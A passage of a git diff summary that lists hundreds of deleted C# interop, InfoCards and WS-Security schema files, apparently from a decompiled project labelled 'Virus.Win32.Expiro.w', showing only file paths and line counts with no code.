.../tagOLEMISC.cs | 15 - .../tagOLERENDER.cs | 15 - .../tagOLEUPDATE.cs | 15 - .../tagOLEVERBATTRIB.cs | 15 - .../tagOLEWHICHMK.cs | 15 - .../tagOPEN_AS_INFO_FLAGS.cs | 15 - .../tagPENDINGMSG.cs | 15 - .../tagPENDINGTYPE.cs | 15 - .../tagPERSIST_SPROPSTORE_FLAGS.cs | 15 - .../tagPKA_FLAGS.cs | 15 - .../tagPOINTERINACTIVE.cs | 15 - .../tagPROPBAG2_TYPE.cs | 15 - .../tagPROPDESC_AGGREGATION_TYPE.cs | 15 - .../tagPROPDESC_COLUMNINDEX_TYPE.cs | 15 - .../tagPROPDESC_CONDITION_TYPE.cs | 15 - .../tagPROPDESC_DISPLAYTYPE.cs | 15 - .../tagPROPDESC_ENUMFILTER.cs | 15 - .../tagPROPDESC_FORMAT_FLAGS.cs | 15 - .../tagPROPDESC_GROUPING_RANGE.cs | 15 - .../tagPROPDESC_RELATIVEDESCRIPTION_TYPE.cs | 15 - .../tagPROPDESC_SEARCHINFO_FLAGS.cs | 15 - .../tagPROPDESC_SORTDESCRIPTION.cs | 15 - .../tagPROPDESC_TYPE_FLAGS.cs | 15 - .../tagPROPDESC_VIEW_FLAGS.cs | 15 - .../tagPROPENUMTYPE.cs | 15 - .../tagPROPERTYUI_FLAGS.cs | 15 - .../tagPROPERTYUI_FORMAT_FLAGS.cs | 15 - .../tagPROPERTYUI_NAME_FLAGS.cs | 15 - .../tagPROPPAGESTATUS.cs | 15 - .../tagPROPVARIANT.cs | 60 - .../tagPictureAttributes.cs | 15 - .../tagQACONTAINERFLAGS.cs | 15 - .../tagQUERY_PARSER_MANAGER_OPTION.cs | 15 - .../tagREADYSTATE.cs | 15 - .../tagRECT.cs | 17 - .../tagREGCLS.cs | 15 - .../tagREGKIND.cs | 15 - .../tagSERVERCALL.cs | 15 - .../tagSF_TYPE.cs | 15 - .../tagSHCOLSTATE.cs | 15 - .../tagSHCONTF.cs | 15 - .../tagSHELLITEMCOMPAREHINTF.cs | 15 - .../tagSHELLPROPSHEETEXTPAGEID.cs | 15 - .../tagSHGDN.cs | 15 - .../tagSIATTRIBFLAGS.cs | 15 - .../tagSIGDN.cs | 15 - .../tagSIIGB.cs | 15 - .../tagSLGP_FLAGS.cs | 15 - .../tagSLR_FLAGS.cs | 15 - .../tagSMINFOFLAGS.cs | 15 - .../tagSMINFOMASK.cs | 15 - .../tagSMINFOTYPE.cs | 15 - .../tagSPBEGINF.cs | 15 - .../tagSPINITF.cs | 15 - .../tagSTATFLAG.cs | 15 - .../tagSTDMSHLFLAGS.cs | 15 - .../tagSTGC.cs | 15 - .../tagSTGMOVE.cs | 15 - .../tagSTGOP.cs | 15 - .../tagSTGTY.cs | 15 - .../tagSTREAM_SEEK.cs | 15 - .../tagSTRRET_TYPE.cs | 15 - .../tagSTRUCTURED_QUERY_MULTIOPTION.cs | 15 - .../tagSTRUCTURED_QUERY_PARSE_ERROR.cs | 15 - .../tagSTRUCTURED_QUERY_RESOLVE_OPTION.cs | 15 - .../tagSTRUCTURED_QUERY_SINGLE_OPTION.cs | 15 - .../tagSVGIO.cs | 15 - .../tagSVUIA_STATUS.cs | 15 - .../tagSYSKIND.cs | 15 - .../tagShutdownType.cs | 15 - .../tagTEXTMETRICA.cs | 17 - .../tagTEXTMETRICW.cs | 17 - .../tagTYMED.cs | 15 - .../tagTYPEFLAGS.cs | 15 - .../tagTYPEKIND.cs | 15 - .../tagTYSPEC.cs | 15 - .../tagUASFLAGS.cs | 15 - .../tagURLTEMPLATE.cs | 15 - .../tagURLZONE.cs | 15 - .../tagUSERCLASSTYPE.cs | 15 - .../tagVARFLAGS.cs | 15 - .../tagVARIANT.cs | 74 - .../tagVARKIND.cs | 15 - .../tagVIEWSTATUS.cs | 15 - .../tagXFORMCOORDS.cs | 15 - .../tagXMLEMEM_TYPE.cs | 15 - .../tag_CIMTYPE_ENUMERATION.cs | 15 - .../tag_WBEMSTATUS.cs | 15 - .../tag_WBEMSTATUS_FORMAT.cs | 15 - .../tag_WBEM_BACKUP_RESTORE_FLAGS.cs | 15 - .../tag_WBEM_CHANGE_FLAG_TYPE.cs | 15 - .../tag_WBEM_COMPARISON_FLAG.cs | 15 - .../tag_WBEM_COMPILER_OPTIONS.cs | 15 - .../tag_WBEM_CONDITION_FLAG_TYPE.cs | 15 - .../tag_WBEM_CONNECT_OPTIONS.cs | 15 - .../tag_WBEM_FLAVOR_TYPE.cs | 15 - .../tag_WBEM_GENERIC_FLAG_TYPE.cs | 15 - .../tag_WBEM_GENUS_TYPE.cs | 15 - .../tag_WBEM_INFORMATION_FLAG_TYPE.cs | 15 - .../tag_WBEM_LIMITATION_FLAG_TYPE.cs | 15 - .../tag_WBEM_LIMITS.cs | 15 - .../tag_WBEM_LOCKING.cs | 15 - .../tag_WBEM_QUERY_FLAG_TYPE.cs | 15 - .../tag_WBEM_REFRESHER_FLAGS.cs | 15 - .../tag_WBEM_SECURITY_FLAGS.cs | 15 - .../tag_WBEM_SHUTDOWN_FLAGS.cs | 15 - .../tag_WBEM_STATUS_TYPE.cs | 15 - .../tag_WBEM_TEXT_FLAG_TYPE.cs | 15 - .../tag_WBEM_TIMEOUT_TYPE.cs | 15 - .../tag_WBEM_UNSECAPP_FLAG_TYPE.cs | 15 - .../tag_WMI_OBJ_TEXT.cs | 15 - .../tm.cs | 17 - .../ws-identity-2007.xsd | 26 - .../ws-policy-2007.xsd | 141 - .../ws-policy.xsd | 118 - .../ws-securitypolicy-1/2.xsd | 1113 -- .../ws-securitypolicy.xsd | 979 -- .../ws-trust-1/3.xsd | 444 - .../ws-trust.xsd | 451 - .../xenc-schema.xsd | 137 - .../xml.xsd | 135 - .../xmldsig-core-schema.xsd | 310 - .../AssemblyInfo.cs | 22 - .../BrowserNavConstants.cs | 15 - .../CallMode.cs | 15 - .../CommandStateChangeConstants.cs | 15 - .../HDC__.cs | 17 - .../HINSTANCE__.cs | 17 - .../HWND__.cs | 17 - .../IGNOREMIME.cs | 15 - .../IMAGE_AUX_SYMBOL_TYPE.cs | 15 - .../IMPORT_OBJECT_NAME_TYPE.cs | 15 - .../IMPORT_OBJECT_TYPE.cs | 15 - .../AccessibilityApplicationManager.cs | 48 - .../InfoCards/AccessibilityHelperForVista.cs | 124 - .../AccessibilityHelperForXpWin2k3.cs | 169 - .../InfoCards/AppliesToBehaviorDecision.cs | 16 - .../AppliesToBehaviorDecisionTable.cs | 50 - .../Microsoft/InfoCards/Asn1Utilities.cs | 17 - .../InfoCards/AsymmetricCryptoSession.cs | 67 - .../Microsoft/InfoCards/AsyncParams.cs | 19 - .../Microsoft/InfoCards/AuditLog.cs | 25 - .../BeginCreateSecurityTokenRequest.cs | 36 - .../BeginGetFileNameFromUserRequest.cs | 72 - .../InfoCards/BeginSelectCardRequest.cs | 49 - .../Microsoft/InfoCards/BigInt.cs | 400 - .../InfoCards/BrowserPolicyValidator.cs | 26 - .../InfoCards/CancelAsyncOperationRequest.cs | 39 - .../Microsoft/InfoCards/Canonicalizers.cs | 248 - .../CheckStoreFileValidityRequest.cs | 77 - .../Microsoft/InfoCards/ClientRequest.cs | 405 - .../Microsoft/InfoCards/ClientUIRequest.cs | 305 - .../InfoCards/CloseCryptoHandleRequest.cs | 41 - .../InfoCards/CommunicationException.cs | 36 - .../Microsoft/InfoCards/Constants.cs | 23 - .../InfoCards/CorruptStoreException.cs | 30 - .../Microsoft/InfoCards/CreateCardRequest.cs | 52 - .../Microsoft/InfoCards/CredentialSelector.cs | 252 - .../InfoCards/CredentialSelectorType.cs | 22 - .../Microsoft/InfoCards/CryptoSession.cs | 232 - .../InfoCards/CustomTokenProvider.cs | 94 - .../InfoCards/DataAccessException.cs | 36 - .../Microsoft/InfoCards/DataBlob.cs | 16 - .../Microsoft/InfoCards/DataRow.cs | 116 - .../Microsoft/InfoCards/DataRowIndexBuffer.cs | 45 - .../Microsoft/InfoCards/DataSource.cs | 328 - .../Microsoft/InfoCards/DecryptRequest.cs | 61 - .../Microsoft/InfoCards/DeleteCardRequest.cs | 91 - .../Microsoft/InfoCards/DeleteStoreRequest.cs | 62 - .../Microsoft/InfoCards/DisplayClaim.cs | 57 - .../Microsoft/InfoCards/DisplayClaimType.cs | 15 - .../Microsoft/InfoCards/DisplayToken.cs | 85 - .../Microsoft/InfoCards/EncryptRequest.cs | 61 - .../Microsoft/InfoCards/EncryptedData.cs | 130 - .../InfoCards/EncryptedFileStoreHeader.cs | 39 - .../InfoCards/EncryptedObjectHeader.cs | 45 - .../Microsoft/InfoCards/EncryptionUtility.cs | 116 - .../EndCreateSecurityTokenRequest.cs | 25 - .../EndGetFileNameFromUserRequest.cs | 33 - .../InfoCards/EndSelectCardRequest.cs | 29 - .../Microsoft/InfoCards/ExceptionList.cs | 22 - .../InfoCards/ExceptionTranslationTable.cs | 41 - .../Microsoft/InfoCards/ExportException.cs | 36 - .../Microsoft/InfoCards/ExportFileRequest.cs | 114 - .../InfoCards/FailedToStartupUIException.cs | 31 - .../InfoCards/FileAccessException.cs | 36 - .../Microsoft/InfoCards/FileDataSource.cs | 1083 -- .../Microsoft/InfoCards/FreeIndexList.cs | 43 - .../InfoCards/GenerateDerivedKeyRequest.cs | 58 - .../InfoCards/GetBrowserTokenEndpoint.cs | 90 - .../InfoCards/GetBrowserTokenParameters.cs | 110 - .../InfoCards/GetBrowserTokenRequest.cs | 609 -- .../InfoCards/GetCardDetailsRequest.cs | 42 - .../InfoCards/GetCertificateRequest.cs | 40 - .../InfoCards/GetCryptoTransformRequest.cs | 58 - .../Microsoft/InfoCards/GetFileNameResult.cs | 26 - .../InfoCards/GetImportFileNameRequest.cs | 44 - .../InfoCards/GetImportedCardRequest.cs | 120 - .../InfoCards/GetIsBrowserClientRequest.cs | 34 - .../InfoCards/GetKeyedHashRequest.cs | 46 - .../InfoCards/GetLastErrorDetailsRequest.cs | 53 - .../GetLedgerEntryForRecipientRequest.cs | 76 - .../Microsoft/InfoCards/GetLedgerRequest.cs | 60 - .../InfoCards/GetPolicyDetailsRequest.cs | 106 - .../InfoCards/GetRecipientListRequest.cs | 68 - .../InfoCards/GetRecipientRequest.cs | 65 - .../Microsoft/InfoCards/GetTokenRequest.cs | 258 - .../InfoCards/GetUserPreferenceRequest.cs | 50 - .../Microsoft/InfoCards/GlobalId.cs | 120 - .../Microsoft/InfoCards/HandleDictionary`1.cs | 53 - .../Microsoft/InfoCards/HashCoreRequest.cs | 55 - .../Microsoft/InfoCards/HashCryptoSession.cs | 60 - .../Microsoft/InfoCards/HashFinalRequest.cs | 54 - .../Microsoft/InfoCards/HashUtility.cs | 54 - .../HttpProxyTransportBindingElement.cs | 93 - .../InfoCards/IAccessibilityHelper.cs | 29 - .../Microsoft/InfoCards/ICanonicalizer.cs | 15 - .../Microsoft/InfoCards/ITokenFactory.cs | 19 - .../InfoCards/IdentityValidationException.cs | 36 - .../Microsoft/InfoCards/ImportException.cs | 36 - .../Microsoft/InfoCards/ImportFileRequest.cs | 102 - .../Microsoft/InfoCards/ImportRequest.cs | 91 - .../InfoCards/ImportStoreException.cs | 36 - .../Microsoft/InfoCards/IndexObject.cs | 48 - .../Microsoft/InfoCards/IndexedDataBuffer.cs | 336 - .../Microsoft/InfoCards/InfoCard.cs | 1387 --- .../InfoCards/InfoCardBinaryReader.cs | 146 - .../Microsoft/InfoCards/InfoCardClaim.cs | 92 - .../InfoCards/InfoCardClaimCollection.cs | 158 - .../Microsoft/InfoCards/InfoCardConstants.cs | 189 - .../InfoCards/InfoCardListRequest.cs | 107 - .../Microsoft/InfoCards/InfoCardMasterKey.cs | 124 - .../InfoCardMetadataExchangeClient.cs | 94 - .../InfoCardOfflineChainTrustValidator.cs | 93 - .../Microsoft/InfoCards/InfoCardPolicy.cs | 237 - .../InfoCards/InfoCardRequestException.cs | 36 - .../Microsoft/InfoCards/InfoCardSchemas.cs | 156 - .../Microsoft/InfoCards/InfoCardService.cs | 111 - .../InfoCardServiceClientCredentials.cs | 143 - .../Microsoft/InfoCards/InfoCardUIAgent.cs | 530 - .../InfoCards/InfoCardX509Validator.cs | 131 - .../InfoCards/InfoCardXmlSerializer.cs | 172 - .../InfocardExtendedInformationCollection.cs | 98 - .../InfocardExtendedInformationEntry.cs | 43 - .../InfoCards/IntermediatePolicyValidator.cs | 18 - .../InfoCards/InvalidCardException.cs | 36 - .../InvalidStoreProtectionKeyException.cs | 36 - .../Microsoft/InfoCards/IssuerInformation.cs | 72 - .../InfoCards/IssuerInformationEntry.cs | 24 - .../KerberosTokenFactoryCredential.cs | 22 - .../Microsoft/InfoCards/KeyBlock.cs | 47 - .../Microsoft/InfoCards/KeyBlockV2.cs | 24 - .../Microsoft/InfoCards/KeyGenRestartCodes.cs | 18 - .../Microsoft/InfoCards/LedgerEntry.cs | 211 - .../InfoCards/LedgerEntryCollection.cs | 65 - .../Microsoft/InfoCards/LifeTimeMonitor.cs | 95 - .../InfoCards/ListCardsInFileRequest.cs | 154 - .../InfoCards/ListDependantCardsRequest.cs | 81 - .../Microsoft/InfoCards/LocalIdCollection.cs | 39 - .../InfoCards/LogoValidationException.cs | 36 - .../Microsoft/InfoCards/ManageRequest.cs | 49 - .../MaxSessionCountExceededException.cs | 36 - .../InfoCards/MergeConflictCallback.cs | 10 - .../Microsoft/InfoCards/NativeMcppMethods.cs | 1186 --- .../Microsoft/InfoCards/NativeMethods.cs | 169 - .../InfoCards/OptionalRstParameters.cs | 102 - .../Microsoft/InfoCards/ParsedPolicy.cs | 45 - .../InfoCards/PasswordValidationException.cs | 36 - .../InfoCards/PinProtectionHelper.cs | 133 - .../Microsoft/InfoCards/Policy.cs | 419 - .../Microsoft/InfoCards/PolicyFactory.cs | 141 - .../Microsoft/InfoCards/PolicyType.cs | 15 - .../Microsoft/InfoCards/PolicyUsageContext.cs | 15 - .../Microsoft/InfoCards/PolicyUtility.cs | 23 - .../InfoCards/PolicyValidationException.cs | 36 - .../Microsoft/InfoCards/PolicyValidator.cs | 139 - .../InfoCards/ProcessExitedException.cs | 36 - .../Microsoft/InfoCards/ProcessManager.cs | 158 - .../Microsoft/InfoCards/ProcessMonitor.cs | 59 - .../Microsoft/InfoCards/ProtocolProfile.cs | 64 - .../InfoCards/Psha1DerivedKeyGenerator.cs | 87 - .../Microsoft/InfoCards/QueryDetails.cs | 23 - .../Microsoft/InfoCards/QueryParameter.cs | 51 - .../InfoCards/QueryStoreStatusRequest.cs | 48 - .../InfoCards/RPIdentityRequirement.cs | 80 - .../Microsoft/InfoCards/RSATokenProvider.cs | 43 - .../Microsoft/InfoCards/Recipient.cs | 446 - .../Microsoft/InfoCards/RecipientIdentity.cs | 100 - .../RemoteAsymmetricSignatureFormatter.cs | 43 - .../InfoCards/RemoteCryptoDecryptRequest.cs | 67 - .../RemoteCryptoRsaServiceProvider.cs | 131 - .../InfoCards/RemoteCryptoSignHashRequest.cs | 49 - .../InfoCards/RemoteCryptoTokenProvider.cs | 50 - .../Microsoft/InfoCards/RemoteTokenFactory.cs | 546 - .../RemoteX509AsymmetricSecurityKey.cs | 80 - .../Microsoft/InfoCards/RemoteX509Token.cs | 55 - .../Microsoft/InfoCards/Request.cs | 292 - .../Microsoft/InfoCards/RequestFactory.cs | 483 - .../InfoCards/RequestSecurityToken.cs | 154 - .../RequestSecurityTokenForGetBrowserToken.cs | 57 - ...questSecurityTokenForRemoteTokenFactory.cs | 88 - .../RequestSecurityTokenParameters.cs | 91 - .../RequestSecurityTokenResponseHelper.cs | 463 - .../RequestSecurityTokenSerializer.cs | 212 - .../Microsoft/InfoCards/ResolvePPIDRequest.cs | 52 - .../Microsoft/InfoCards/RoamingStoreFile.cs | 129 - .../InfoCards/RoamingStoreFileUtility.cs | 289 - .../InfoCards/RpcAllocMemCallback.cs | 13 - .../Microsoft/InfoCards/RpcAsyncResult.cs | 167 - .../InfoCards/RpcAuthorizeCallback.cs | 13 - .../Microsoft/InfoCards/RpcCallbacks.cs | 30 - .../RpcClientBindToServiceCallback.cs | 13 - .../Microsoft/InfoCards/RpcCryptoContext.cs | 105 - .../Microsoft/InfoCards/RpcCryptoRequest.cs | 45 - .../Microsoft/InfoCards/RpcFreeMemCallback.cs | 13 - .../InfoCards/RpcProcessNewRequestCallback.cs | 17 - .../Microsoft/InfoCards/RpcRequest.cs | 19 - .../Microsoft/InfoCards/RpcResponse.cs | 36 - .../RpcRundownClientContextHandle.cs | 13 - .../RpcUIAgentBindToServiceCallback.cs | 22 - .../InfoCards/RpcUIAgentGetWorkCallback.cs | 12 - .../Microsoft/InfoCards/RsaKeyGen.cs | 218 - .../Microsoft/InfoCards/SafeCryptoKey.cs | 108 - .../InfoCards/SafeCryptoKeyHandle.cs | 30 - .../Microsoft/InfoCards/SafeJobHandle.cs | 37 - .../Microsoft/InfoCards/SafeNativeHandle.cs | 27 - .../InfoCards/SafeRsaProviderHandle.cs | 54 - .../Microsoft/InfoCards/SaveCardRequest.cs | 81 - .../InfoCards/SaveLedgerEntryRequest.cs | 33 - .../InfoCards/SaveRecipientRequest.cs | 65 - .../Microsoft/InfoCards/SecondaryIndex.cs | 334 - .../InfoCards/SecondaryIndexDefinition.cs | 84 - .../Microsoft/InfoCards/SecondaryIndexItem.cs | 26 - .../Microsoft/InfoCards/SecondaryIndexList.cs | 203 - .../InfoCards/SecondaryIndexSettings.cs | 18 - .../InfoCards/SecurityKeyTypeInternal.cs | 15 - .../InfoCards/SelfIssuedAuthAsymmetricKey.cs | 107 - .../InfoCards/SelfIssuedAuthProofToken.cs | 82 - .../SelfIssuedAuthRSACryptoProvider.cs | 63 - ...fIssuedAuthRSAPKCS1SignatureDeformatter.cs | 40 - ...elfIssuedAuthRSAPKCS1SignatureFormatter.cs | 40 - .../InfoCards/SelfIssuedSamlTokenFactory.cs | 312 - .../SelfIssuedTokenFactoryCredential.cs | 24 - .../InfoCards/SendAgentStatusRequest.cs | 63 - .../SerializationIncompleteException.cs | 19 - .../InfoCards/ServiceBusyException.cs | 36 - .../InfoCards/SetUserLanguageRequest.cs | 36 - .../InfoCards/SetUserPreferenceRequest.cs | 60 - .../Microsoft/InfoCards/SignHashRequest.cs | 51 - .../Microsoft/InfoCards/SignatureHeader.cs | 20 - .../Microsoft/InfoCards/StorableObjectType.cs | 21 - .../Microsoft/InfoCards/StoreConnection.cs | 341 - .../InfoCards/SymmetricCryptoSession.cs | 83 - .../Microsoft/InfoCards/SystemIdentity.cs | 62 - .../InfoCards/SystemShuttingDownException.cs | 36 - .../InfoCards/TokenCreationException.cs | 36 - .../InfoCards/TokenCreationParameter.cs | 349 - .../Microsoft/InfoCards/TokenDescriptor.cs | 105 - .../Microsoft/InfoCards/TokenFactoryBase.cs | 44 - .../InfoCards/TokenFactoryCredential.cs | 87 - .../InfoCards/TokenFactoryCredentialType.cs | 18 - .../InfoCards/TokenFactoryFactory.cs | 27 - .../InfoCards/TransformBlockRequest.cs | 61 - .../InfoCards/TransformCryptoSession.cs | 47 - .../InfoCards/TransformFinalBlockRequest.cs | 55 - .../InfoCards/TrustExchangeException.cs | 36 - .../InfoCards/UIAgentAsyncBeginRequest.cs | 108 - .../InfoCards/UIAgentAsyncEndRequest.cs | 78 - .../Microsoft/InfoCards/UIAgentAsyncParams.cs | 27 - .../InfoCards/UIAgentCrashedException.cs | 14 - .../UIAgentInitializationException.cs | 25 - .../Microsoft/InfoCards/UIAgentMonitor.cs | 76 - .../InfoCards/UIAgentMonitorHandle.cs | 36 - .../Microsoft/InfoCards/UIAgentRequest.cs | 138 - .../Microsoft/InfoCards/UIEndRequest.cs | 30 - .../Microsoft/InfoCards/UnlockCardRequest.cs | 58 - .../UnsupportedPolicyOptionsException.cs | 36 - .../InfoCards/UntrustedRecipientException.cs | 36 - .../UserNameTokenFactoryCredential.cs | 31 - .../Microsoft/InfoCards/UserPreference.cs | 93 - .../Microsoft/InfoCards/Utility.cs | 450 - .../Microsoft/InfoCards/VerifyHashRequest.cs | 63 - .../InfoCards/WSIdentityFaultException.cs | 98 - .../Microsoft/InfoCards/X509AudioLogo.cs | 23 - .../X509CertificateTokenFactoryCredential.cs | 68 - .../Microsoft/InfoCards/X509ImageLogo.cs | 23 - .../Microsoft/InfoCards/X509Logo.cs | 62 - .../Microsoft/InfoCards/X509LogoDataType.cs | 14 - .../Microsoft/InfoCards/X509LogoType.cs | 16 - .../InfoCards/X509LogoTypeExtension.cs | 201 - .../InfoCards/X509RecipientIdentity.cs | 64 - .../Microsoft/InfoCards/XmlNames.cs | 863 -- .../NEGOTIATE_MESSAGES.cs | 15 - .../OLECMDEXECOPT.cs | 15 - .../OLECMDF.cs | 15 - .../OLECMDID.cs | 15 - .../OLECMDTEXTF.cs | 15 - .../OfflineFolderStatus.cs | 15 - .../PIDMSI_STATUS_VALUE.cs | 15 - .../RESTRICTIONS.cs | 15 - .../RPC_ADDRESS_CHANGE_TYPE.cs | 15 - .../RefreshConstants.cs | 15 - .../ReplacesCorHdrNumericDefines.cs | 15 - .../RequireAppliesToStatus.cs | 12 - .../SYSGEOCLASS.cs | 15 - .../SYSGEOTYPE.cs | 15 - .../SYSNLS_FUNCTION.cs | 15 - .../SecureLockIconConstants.cs | 15 - .../ShellFolderViewOptions.cs | 15 - .../ShellSpecialFolderConstants.cs | 15 - .../ShellWindowFindWindowOptions.cs | 15 - .../ShellWindowTypeConstants.cs | 15 - .../TrustDecision.cs | 15 - .../VARENUM.cs | 15 - .../Virus.Win32.Expiro.w.csproj | 733 -- .../Virus.Win32.Expiro.w.sln | 20 - .../WELL_KNOWN_SID_TYPE.cs | 15 - .../WPCSETTING.cs | 15 - .../X931_restart_t.cs | 15 - .../$ArrayType$$$BY00$$CBD.cs | 21 - .../$ArrayType$$$BY00$$CBG.cs | 21 - .../$ArrayType$$$BY00Q6MPBXXZ.cs | 20 - .../$ArrayType$$$BY07$$CBG.cs | 21 - .../$ArrayType$$$BY08$$CB_W.cs | 21 - .../$ArrayType$$$BY0A@P6AHXZ.cs | 20 - .../$ArrayType$$$BY0A@P6AXXZ.cs | 20 - .../$ArrayType$$$BY0BAE@G.cs | 21 - .../$ArrayType$$$BY0BAF@G.cs | 21 - .../$ArrayType$$$BY0BB@K.cs | 20 - .../$ArrayType$$$BY0BC@$$CBG.cs | 21 - .../$ArrayType$$$BY0CB@$$CBG.cs | 21 - .../$ArrayType$$$BY0CE@$$CBD.cs | 21 - .../$ArrayType$$$BY0CE@$$CBG.cs | 21 - .../$ArrayType$$$BY0EE@E.cs | 21 - .../$ArrayType$$$BY0O@$$CBD.cs | 21 - .../$ArrayType$$$BY0P@$$CBG.cs | 21 - .../ActivationContext.cs | 20 - .../AtExitLock.cs | 20 - .../DefaultDomain.cs | 20 - .../LanguageSupport.cs | 20 - .../NativeDll.cs | 20 - .../Progress.cs | 28 - .../ThisModule.cs | 20 - .../TriBool.cs | 28 - .../_003CModule_003E.cs | 1399 --- .../_ACCESS_MODE.cs | 15 - .../_ACL.cs | 17 - .../_ACL_INFORMATION_CLASS.cs | 15 - .../_ACTIVATION_CONTEXT_INFO_CLASS.cs | 15 - .../_APTTYPE.cs | 15 - .../_AUDIT_EVENT_TYPE.cs | 15 - .../_BIN_TYPES.cs | 15 - .../_CERT_CHAIN_CONTEXT.cs | 18 - .../_CHANGER_DEVICE_PROBLEM_TYPE.cs | 15 - .../_CM_ERROR_CONTROL_TYPE.cs | 15 - .../_CM_SERVICE_LOAD_TYPE.cs | 15 - .../_CM_SERVICE_NODE_TYPE.cs | 15 - .../_COMPUTER_NAME_FORMAT.cs | 15 - .../_CRYPT_OID_INFO.cs | 24 - .../_DETECTION_TYPE.cs | 15 - .../_DEVICE_POWER_STATE.cs | 15 - .../_DISK_WRITE_CACHE_STATE.cs | 15 - .../_DNS_CHARSET.cs | 15 - .../_DNS_NAME_FORMAT.cs | 15 - .../_Direction.cs | 15 - .../_DnsSection.cs | 15 - .../_ELEMENT_TYPE.cs | 15 - .../_ENLISTMENT_INFORMATION_CLASS.cs | 15 - .../_EXCEPTION_DISPOSITION.cs | 15 - .../_EXCEPTION_POINTERS.cs | 17 - .../_EXPLICIT_ACCESS_W.cs | 17 - .../_FINDEX_INFO_LEVELS.cs | 15 - .../_FINDEX_SEARCH_OPS.cs | 15 - .../_GET_FILEEX_INFO_LEVELS.cs | 15 - .../_GPO_LINK.cs | 15 - .../_GUID.cs | 18 - .../_HEAP_INFORMATION_CLASS.cs | 15 - .../_HandleType.cs | 15 - .../_IDL_CS_CONVERT.cs | 15 - .../_ITEMIDLIST.cs | 18 - .../_JOBOBJECTINFOCLASS.cs | 15 - .../_KERB_LOGON_SUBMIT_TYPE.cs | 15 - .../_KERB_PROFILE_BUFFER_TYPE.cs | 15 - .../_KERB_PROTOCOL_MESSAGE_TYPE.cs | 15 - .../_KTMOBJECT_TYPE.cs | 15 - .../_LOGICAL_PROCESSOR_RELATIONSHIP.cs | 15 - .../_LUID.cs | 17 - .../_MANDATORY_LEVEL.cs | 15 - .../_MEDIA_TYPE.cs | 15 - .../_MEMORY_RESOURCE_NOTIFICATION_TYPE.cs | 15 - .../_MSV1_0_LOGON_SUBMIT_TYPE.cs | 15 - .../_MSV1_0_PROFILE_BUFFER_TYPE.cs | 15 - .../_MSV1_0_PROTOCOL_MESSAGE_TYPE.cs | 15 - .../_MULTIPLE_TRUSTEE_OPERATION.cs | 15 - .../_OSVERSIONINFOW.cs | 18 - .../_PARTITION_STYLE.cs | 15 - .../_POLICY_AUDIT_EVENT_TYPE.cs | 15 - .../_POLICY_DOMAIN_INFORMATION_CLASS.cs | 15 - .../_POLICY_INFORMATION_CLASS.cs | 15 - .../_POLICY_LSA_SERVER_ROLE.cs | 15 - .../_POLICY_NOTIFICATION_INFORMATION_CLASS.cs | 15 - .../_PROCESSOR_CACHE_TYPE.cs | 15 - .../_PROC_THREAD_ATTRIBUTE_NUM.cs | 15 - .../_PROGRESS_INVOKE_SETTING.cs | 15 - .../_PSC_STATE.cs | 15 - .../_PS_RATE_PHASE.cs | 15 - .../_PaddingMode.cs | 15 - .../_RESOURCEMANAGER_INFORMATION_CLASS.cs | 15 - .../_RPCCALLBACKS.cs | 17 - .../_RPC_ASYNC_EVENT.cs | 15 - .../_RPC_HTTP_REDIRECTOR_STAGE.cs | 15 - .../_RPC_NOTIFICATION_TYPES.cs | 15 - .../_RPC_REQUEST.cs | 17 - .../_RPC_RESPONSE.cs | 17 - .../_SASL_AUTHZID_STATE.cs | 15 - .../_SC_ACTION_TYPE.cs | 15 - .../_SC_ENUM_TYPE.cs | 15 - .../_SC_STATUS_TYPE.cs | 15 - .../_SECURITY_ATTRIBUTES.cs | 17 - .../_SECURITY_IMPERSONATION_LEVEL.cs | 15 - .../_SECURITY_LOGON_SESSION_DATA.cs | 17 - .../_SECURITY_LOGON_TYPE.cs | 15 - .../_SETTINGSTATUS.cs | 15 - .../_SE_ADT_PARAMETER_TYPE.cs | 15 - .../_SE_OBJECT_TYPE.cs | 15 - .../_SID_NAME_USE.cs | 15 - .../_SPACTION.cs | 15 - .../_SPTEXT.cs | 15 - .../_STORAGE_ASSOCIATION_TYPE.cs | 15 - .../_STORAGE_BUS_TYPE.cs | 15 - .../_STORAGE_IDENTIFIER_CODE_SET.cs | 15 - .../_STORAGE_IDENTIFIER_TYPE.cs | 15 - .../_STORAGE_ID_NAA_FORMAT.cs | 15 - .../_STORAGE_MEDIA_TYPE.cs | 15 - .../_STORAGE_PORT_CODE_SET.cs | 15 - .../_STORAGE_PROPERTY_ID.cs | 15 - .../_STORAGE_QUERY_TYPE.cs | 15 - .../_STREAM_INFO_LEVELS.cs | 15 - .../_SYSTEM_POWER_STATE.cs | 15 - .../_SecDelegationType.cs | 15 - .../_TAPE_DRIVE_PROBLEM_TYPE.cs | 15 - .../_TASKDIALOG_COMMON_BUTTON_FLAGS.cs | 15 - .../_TASKDIALOG_ELEMENTS.cs | 15 - .../_TASKDIALOG_FLAGS.cs | 15 - .../_TASKDIALOG_ICON_ELEMENTS.cs | 15 - .../_TASKDIALOG_MESSAGES.cs | 15 - .../_TASKDIALOG_NOTIFICATIONS.cs | 15 - .../_THDTYPE.cs | 15 - .../_TOKEN_ELEVATION_TYPE.cs | 15 - .../_TOKEN_INFORMATION_CLASS.cs | 15 - .../_TOKEN_MANDATORY_LABEL.cs | 17 - .../_TOKEN_OWNER.cs | 17 - .../_TOKEN_STATISTICS.cs | 17 - .../_TOKEN_TYPE.cs | 15 - .../_TP_CALLBACK_ENVIRON.cs | 46 - .../_TRANSACTIONMANAGER_INFORMATION_CLASS.cs | 15 - .../_TRANSACTION_INFORMATION_CLASS.cs | 15 - .../_TRANSACTION_OUTCOME.cs | 15 - .../_TRANSACTION_STATE.cs | 15 - .../_TRUSTED_INFORMATION_CLASS.cs | 15 - .../_TRUSTEE_FORM.cs | 15 - .../_TRUSTEE_TYPE.cs | 15 - .../_URLZONEREG.cs | 15 - .../_USER_MARSHAL_CB_TYPE.cs | 15 - .../_WRITE_CACHE_CHANGE.cs | 15 - .../_WRITE_CACHE_ENABLE.cs | 15 - .../_WRITE_CACHE_TYPE.cs | 15 - .../_WRITE_THROUGH.cs | 15 - .../__MIDL_IBindStatusCallback_0001.cs | 15 - .../__MIDL_IBindStatusCallback_0002.cs | 15 - .../__MIDL_IBindStatusCallback_0003.cs | 15 - .../__MIDL_IBindStatusCallback_0004.cs | 15 - .../__MIDL_IBindStatusCallback_0005.cs | 15 - .../__MIDL_IBindStatusCallback_0006.cs | 15 - .../__MIDL_ICodeInstall_0001.cs | 15 - .../__MIDL_IInternetSecurityManager_0001.cs | 15 - .../__MIDL_IInternetSecurityManager_0002.cs | 15 - .../__MIDL_IInternetSecurityManager_0003.cs | 15 